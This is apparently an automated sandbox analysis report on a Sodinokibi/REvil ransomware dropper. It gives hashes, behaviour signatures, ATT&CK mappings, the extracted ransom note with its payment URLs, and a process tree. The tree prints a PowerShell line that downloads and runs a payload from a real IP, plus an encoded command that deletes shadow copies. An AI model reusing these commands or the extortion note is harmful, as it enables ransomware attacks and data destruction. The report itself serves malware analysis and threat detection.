sodinokibi | 2bba8f17fc1ba279cde43a2555b981ff02d563e845d42800bb51973fe66b4a40

General

Target

02025aebdb58d5c91227c70c8d753db5.bat
Size

217B
MD5

abbe954f66b1dd339f454ca325488e57
SHA1

ecbf3a90c0936599cb41a907bd278fb7f9c0dc23
SHA256

2bba8f17fc1ba279cde43a2555b981ff02d563e845d42800bb51973fe66b4a40
SHA512

674f4a11ca927f19e02d1940711ca082069fa226e31cad3456370e990151f681ff6a611b8b25f42fb366748f10899bf26907b35770e790c08209d2ca1b9a97f3

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/02025aebdb58d5c91227c70c8d753db5

Extracted

Path

C:\2gqxv6-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 2gqxv6. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] WE ARE READY TO PUBLISH UR DATA TO PUBLIC ACCESS IF YOU NOT CONTACT US [+] [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/72B60BE891E1358C 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/72B60BE891E1358C Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: Y5BsJAQFGgl8A+VhgGzRjUSOSfODpCJi6bEljyakiCQMqlPulGfBmmd6VREenCWa Dqj+Cbq7N6MKpmRboCkS6wUJky/2xLAKGMJAM9yR9u2HBZlqFyoE2q2E4LmljAEX y5k65U/DKfShdbLZB0JyB0JUpWu3O/toqAk3EEBvvvIfdxt+n3rz/JOH+SZFQgbs FwEQoTKNr4BGiz0yyhZfHIkTeMD4dRsIxQCkh+tBkACdsedlNPILwGjJ2PWrfMue 2a70RF1VKPxGVvjV1/aTG9OtAeRKSLhcefYXhNQ/CX2P5jlYTxTcy/OFB1g/PsCb 5JJLbApgWYPO+oxc4exCrtmURe7Zue0eVOCuzMoP5vGjEMGIud5WQLvbAKY+RWUi LysJFAulhfxpaS8SuwC9482U5A1+Q05YKPwi6MQBKaEUBZBRIYawXjc02fGpdJSY sYBVuqkPTU/q128EbhrmRAg1orFP7Js0m4Q8X5rYfUfWBUpztdXhiZWyl8z5TEwJ sTtPu7swCdjqt+/h/pd/oFS1N3xz80SnDw0X7OpCRbbjgMJoQ1w+I1EzvUK3bv9W uWPBSIGsrAEf8ZTJrF/E7I/Ay2W89rhrpiw/fahoRzr2bWL4i+7yfL0bUisq7uzD gx++inDxX7LoF4smupxit2EBOg9scl175Q7SsVjxjn7uOOF93RgrAY5xfGLJaCWv eF2PpQ/IEjHDNpusokOlcCpGj5jB7Q+PSSNhKjJUSjYywUIWxCN3sdPmVxVnJfx0 AhcH21fnNTpzmvsnMQxEUPCTzU0ZbTH1EBfU1N3qDwub7Y+ZVX/gxS7010f39kbu OqoFeLjwz7jbk+lg/2H97lqegdLLwh9kfSx2LvZ9zTKEGg6HNVRgbVhdCj+BsrJ/ UuJgUEOGHlFXljnOgLomlOT6OD7tbc6h7cZ1y3rwBpVp7LG6G+rWgDDzOod8FLQ9 s5w83HxiNXB7jXanCcoG6l0HQSe7p8ZhgOWsObVwGKnIhJLQVggjXM7mN4huM5t+ 7n0DvhFayqijayoS9ZSWBP60WCcLd8It3496M0v1FBT0nSZS6pGS0WFqrHJMIJqc SMkCHERRFpw/DEudUDP6vrYYM2gH9Q+dhLnm3dwDTz79rg6aN3TuU+vDphRsr1mp SMzgLU+wJPjGT6SZ0oyWI1Uajnm0bl1aeINPEHXNV34b0fNCJLNiCk6gQsCbxylt 8/02/Zr596CeHmNLJ8KlwmYxVdDNrxIXCKlIQk7IrhIMgg+faErHzwvi9xQ1D+GY qrPKv73R92DmoPBa2cdEMfMPpyX+Rk+b91lncO7OTDw= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/72B60BE891E1358C

http://decryptor.cc/72B60BE891E1358C

Signatures

Suspicious behavior: EnumeratesProcesses 77 IoCs

Processes:

powershell.exepowershell.exe

pid	process
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1540	powershell.exe
1540	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1100 wrote to memory of 1296	1100	cmd.exe	powershell.exe
PID 1296 wrote to memory of 1540	1296	powershell.exe	powershell.exe
PID 1296 wrote to memory of 1540	1296	powershell.exe	powershell.exe
PID 1296 wrote to memory of 1540	1296	powershell.exe	powershell.exe
PID 1296 wrote to memory of 1540	1296	powershell.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1296	powershell.exe
Token: SeDebugPrivilege	1296	powershell.exe
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeBackupPrivilege	1816	vssvc.exe
Token: SeRestorePrivilege	1816	vssvc.exe
Token: SeAuditPrivilege	1816	vssvc.exe
Token: SeTakeOwnershipPrivilege	1296	powershell.exe

Drops file in Program Files directory 17 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\AssertDebug.dwg	powershell.exe
File opened for modification	\??\c:\program files\BlockImport.xhtml	powershell.exe
File opened for modification	\??\c:\program files\MergeSet.xlsx	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\2gqxv6-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\UnprotectCompare.ppsx	powershell.exe
File opened for modification	\??\c:\program files\UnpublishRestore.xps	powershell.exe
File opened for modification	\??\c:\program files\WaitConnect.xps	powershell.exe
File created	\??\c:\program files (x86)\2gqxv6-readme.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\2gqxv6-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ConvertFromCheckpoint.js	powershell.exe
File opened for modification	\??\c:\program files\OutRequest.ini	powershell.exe
File opened for modification	\??\c:\program files\UseInvoke.xltm	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\2gqxv6-readme.txt	powershell.exe
File created	\??\c:\program files\2gqxv6-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ResetAssert.vssx	powershell.exe
File opened for modification	\??\c:\program files\PushSync.tmp	powershell.exe
File opened for modification	\??\c:\program files\WatchOut.clr	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\721f3h7zn545w.bmp"	powershell.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1296 powershell.exe
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1296 powershell.exe

flow	pid	process
3	1296	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\02025aebdb58d5c91227c70c8d753db5.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1100

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/02025aebdb58d5c91227c70c8d753db5');Invoke-YKSOHGHYRH;Start-Sleep -s 10000"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Drops file in Program Files directory
- Sets desktop wallpaper using registry
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Blacklisted process makes network request
PID:1296

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1540

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1816

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads